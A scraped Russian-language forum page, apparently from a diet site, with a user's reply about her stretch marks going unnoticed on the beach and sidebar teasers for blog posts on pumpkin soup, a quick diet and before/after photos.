Екатерина Соколова, Не знаю, большие они или нет. Они есть. Если осматривать тело прицельно в поисках растяжек, то увидеть можно. Но судя по тому. что на пляже в меня не тыкают пальцем со словами " смотрите, какие у нее растяжки" могу предположить, что люди их не замечают))))
Татьяна Аникеева Татьяна Аникеева
20.07.17 22:09 Это нравится:0Да/0Нет Ещё
Вот молодец!
Калькуляторы
ЛУЧШИЕ РЕЦЕПТЫ
ИНТЕРЕСНЫЕ БЛОГИ
Оля Мелехова
17.10.2017
тыквенный суп
Варила на бульонных кубиках, тк муж взрощен на наваристых бульонах мамы, а я в принципе настоящие бульоны на дух не пере...
7 68
Татьяна Климова
19.10.2017
Хочу быстренько похудеть килог...
Хочу быстренько похудеть килограммов на 5. Нужно наверное попробовать какую-то быструю диету которая не вредит организму...
14 43
Happy-life
20.10.2017
Маленькое наблюдение бывшей т...
( Я недавно в инстаграмме выложила свое фото текущее и фото "до" - и мне многие люди  под постом и в личку нап...
15 15
ЛУЧШИЕ РАЦИОНЫ
Все лучшие рационы